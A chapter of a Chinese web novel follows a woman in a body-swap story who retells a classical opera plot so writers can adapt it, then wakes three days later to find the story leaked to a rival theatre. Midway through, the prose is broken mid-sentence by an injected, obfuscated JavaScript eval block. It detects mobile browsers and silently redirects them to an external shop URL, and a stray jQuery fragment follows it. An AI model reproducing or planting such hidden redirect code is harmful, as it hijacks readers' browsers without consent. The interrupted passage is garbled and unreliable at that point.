“嗯,就这样挺好。”蓝双月点了点头。
她略想了一会儿,心里倒觉得这个法子妥当。自己将记得的故事说出来,既是帮那些剧作家将他们笔下的故事带到另一个时空流传了,金玉堂也能有些自己的戏,不必再处处受人牵制,倒也算是一举两得。
她稍稍思索,而后又道,“这样吧,我们先拿一个故事找人来试笔。我给你讲故事的内容,你去寻几个有才学的,又懂些戏的人,看能不能照着写出戏来。”
冀玉书看着她,道:“是个好主意。”
想起《拜月亭记》来。这原也不是她最喜欢的一出戏,更不是看的最多的一出,偏偏此时,先想起来的竟是它。
她从前总爱看后来团圆,如今却先想起了开头那一场离散。
“那就用关汉卿的《拜月亭记》来做试笔吧。”蓝双月也没琢磨太多。想到它了就用它呗。
说着,她便慢慢讲了起来:“说的是兵乱时候的事。有一个姑娘,叫王瑞兰,原是官宦人家的女儿。后来天下大乱,她随着父母一路逃难,路上兵荒马乱,家人也渐渐失散。那蒋世隆也是如此,本是个读书人,乱中与妹妹瑞莲走散,只得一个人在外奔波。”
冀玉书听到这里,问道:“他们二人是在那时候相遇的?”
“正是。”蓝双月点了点头,“也是逃难途中遇上的。那时人人自顾不暇,两个原本不相干的人,倒在患难之中彼此照应起来。后来相处日久,便生出了情意,二人也就私下结为了夫妻。”
冀玉书略一沉吟,道:“这样的亲事,现实里王家未必肯认吧。”
蓝双月笑了一下,道:“自然没有这样容易。”
“后来王瑞兰的父亲寻到了女儿,见蒋世隆不过是个穷秀才,又嫌两家门户不相称,便不肯认这门亲事。那时蒋世隆又正病着,王瑞兰的父亲便催她随自己回去。她心里虽不愿,到底是父命难违,二人便又分开了。”
冀玉书听了,半晌没有说话,才问道:“后来她可忘了他?”
“没有。”蓝双月摇了摇头,“她一直记着。”
“后来有一夜,她在月下焚香,只愿蒋世隆平安。偏巧这事叫瑞莲撞见,二人才知道其中的缘故。”
“原来瑞莲一路与王瑞兰的母亲同行,而王瑞兰又与蒋世隆结了夫妻。那些原本失散的人,竟又慢慢聚到了一处。”
冀玉书点了点头,道:“倒也是巧。”
“是巧。”蓝双月道,“不过戏里这样的巧合,若写得好,倒也不觉得牵强。”
说到这里,她又想了想,方道:“后来蒋世隆与逃难途中结识的兄弟,各自中了文武状元。王瑞兰的父亲原先嫌他贫寒,后来见他已有功名,态度也就变了。两个人这才重新相见,夫妻团聚。瑞莲后来也与蒋世隆的结义兄弟成了亲。”
她说完,便停了下来看向冀玉书,似乎在等待他的一句评价。
冀玉书却没有立刻叫好,反倒沉吟了片刻,方道:“故事不错,我也记住了。至于能不能写成戏,还是要寻些懂行的人试一试。”
蓝双月点头笑道:“我也是这个意思。故事只是骨架,至于怎么添枝加叶,怎么安排折次,唱词如何起落,那便是他们的本事了。若写得好,便留下;若写不好,再换旁人就是。我相信这个故事本身绝对没问题。”
蓝双月才不担心故事,关汉卿留下的戏,怎么可能会差。
冀玉书应了一声,道:“好。我今日便叫人出去打听。”
他说着,将方才蓝双月说的几处人物姓名又默默记了一遍,免得回头忘了。
屋里一时静了下来。
案上的茶已凉了大半,窗外日头却渐渐高了,斜斜照进书房,将一摞旧戏本映得泛了黄。
冀玉书抬头望了望天色,忽然笑道:“今日既无旁的急事,不如去骑马吧。”
蓝双月一怔。
冀玉书道:“离秋狩也不过一天半了。戏本一时急不得,骑术却还能再练练。”
蓝双月失笑,道:“也是。临阵磨枪,不快也光。”
她说着,自己先站起身来,低头整了整衣袖,又将桌上的戏本往旁边轻轻推了推。
“走吧。可别秋狩叫马把我掀下来,那你可就丢人了。”
冀玉书听了,不由笑了一笑,也随她起身。
这一回练马,原比前一日顺当了许多。
冀玉书也不似先前那般小心,只带着她沿着校场一圈一圈慢慢跑着,待她渐渐稳住了,方叫她试着提些速度。
蓝双月骑在马上,起初还时时低头看缰绳,到后来,倒也敢抬起头来望一望前头。
风从耳边掠过,带着初秋微凉的意味。
她心里正暗自高兴,想着总算不像前几日那般狼狈,不料眼前忽然一阵发黑。
再醒来时,帐顶已换成了金玉堂熟悉的青纱。她一时还有些恍惚,正欲起身,外头早有人听见动静,忙掀帘进来。
雪柳一见她睁了眼,连日来悬着的一颗心总算放下,忙上前几步,喜道:“将军醒了!”
这一声“将军”,倒叫蓝双月一下子清醒过来。她低头瞧了一眼自己的手,又环顾四下,屋里陈设俱是金玉堂的模样,心里越发疑惑。她分明记得,方才还在校场练马,不过眼前一黑,怎么一转眼竟到了这里?
她压下心里的疑惑,只问雪柳:“如今是什么时候了?”
雪柳一面命人去请大夫,一面回道:“将军已经昏睡整整三日了。月娘子将您送回来以后,大夫日日都来瞧,只说脉象平稳,却始终不见醒,可把我们都急坏了。”
“三日?”蓝双月怔了一怔,心里顿时空了一下,“秋狩……”
雪柳听得一愣,忙问:“将军说什么?”
蓝双月这才回过神来,想来冀玉书是没和雪柳提过这些的缘故,便轻轻摇了摇头道:“没什么。”
蓝双月一时没有说话,只觉得心里发紧。三日工夫,足够发生许多事情,她偏偏什么都不知道。
只是转念一想,如今自己仍在冀玉书的身子里,又是在金玉堂醒来,可见这三日里,冀玉书总归是将事情安顿好了,不然断不会有眼下这般情形。想到这里,那颗悬着的心倒稍稍落下了几分。
她这才抬起头来,问雪柳道:“月娘子呢?”
雪柳听她问起,轻轻叹了一口气,才道:“月娘子一早便出去了,还是为了戏本子的事。”
蓝双月心里微微一沉,“还没寻人试笔呢吗?”
“寻了,”雪柳苦笑了一下,“照着将军与月娘子商量的法子,月娘子寻了好几个会写戏的人来试笔。原想着先看看文笔,再慢慢定人,谁知写出来的几份,不是故事走了样,就是唱词不成样子,月娘子都不大满意。”
说到这里,她又摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750508|208638||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了摇头,“若只是没有写得好的,倒也罢了。偏偏这试笔的人多了故事就走漏了出去。”
蓝双月眉头一蹙,“走漏了?”
雪柳压低了声音,道:“也不知是谁传出去的。外头忽然有人拿着差不多的故事,寻了跟咱们毁约的柳先生写戏。柳先生这人吧,是不怎么样,可写戏却是一把好手。如今城里已有两家戏楼挂出了牌子,说是新戏,过两日便要开锣了。”
她说着,愈发懊恼,又道:“月娘子得了消息,当日便叫人买了一份回来。故事虽添减了些枝叶,可大框架与咱们的那个故事,还真差不了多少。”
蓝双月听罢,低头默了一会儿。
她先前只想着,先寻人试笔,待写得妥当,再署上原作者的名字,将这些故事重新流传于世,却忘了,故事一旦离了自己的手,便未必还能由自己做主。
如今旁人抢先写了,抢先唱了,往后台下的人记住的,只会是哪家戏楼的新戏,又有谁会知道,这故事原是谁留下来的。
雪柳见她久久没有言语,只当她是在担心金玉堂,忙轻声宽慰道:“将军也别太担心。月娘子一向有主意,今儿一早便带着戏稿出门了,说总能想出法子的。”
蓝双月静了片刻,到底还是放心不下,抬头问道:“月娘子如今在哪里?”
雪柳愣了一下,忙答道:“这个……奴家也不大清楚。月娘子这几日为了戏本子的事,日日往外头跑,有时去见先生,有时去戏楼,也有时出去一整日,直到天黑才回来。今日一早便出门了,如今人在何处,奴家实在不知道。”
她见蓝双月似有起身之意,忙劝道:“将军若有事,不如等等月娘子吧。她每日总是要回来的。”
蓝双月原本还想着亲自去寻,听了这话,倒慢慢坐了回去。
她这一睡就是三日。
这三日里发生了什么,她一概不知。若此刻贸然回相府,旁人随口问起一句秋狩如何、这几日去了哪里,只怕自己一句也答不上来。
倒不如先等冀玉书回来,两个人把这三日的事情先对一对,再作打算。
想到这里,她轻轻点了点头,道:“也好。”
雪柳见她应了,想起月娘子的嘱咐,这才悄悄松了一口气,正要出去叫厨房将一直温着的粥送来,忽听外头一阵细碎的脚步声,由远及近。
还未等人进门,便有一个清清脆脆的小嗓音先传了进来。
“将军哥哥醒了吗?”
话音未落,一个小小的人影已经风风火火跑了进来。
雪柳忙伸手去拦,口里急道:“清欢,慢些!将军才醒——”
哪里拦得住。
清欢几步跑到床前,仰着小脸望着蓝双月,眼睛一下子亮了起来,欢欢喜喜唤了一声:“将军哥哥!”
她说着,竟伸手拉住了蓝双月的衣袖,一双眼弯得像月牙儿,半点也不认生。
蓝双月倒愣了一下。
她记得清欢,这名字还是她起的,这些日子也一直养在金玉堂,从前见了自己,总爱黏着不放。只是如今自己换了副模样,她原以为这孩子总要认生,不想竟还是这样亲近。
雪柳却比她还诧异,不由笑道:“倒奇了。从前见着生人,清欢总是远远躲着,今日却自己跑过来了。”
清欢却全没听见,只拉着蓝双月的袖子,小声道:“我就知道,将军哥哥会醒的。”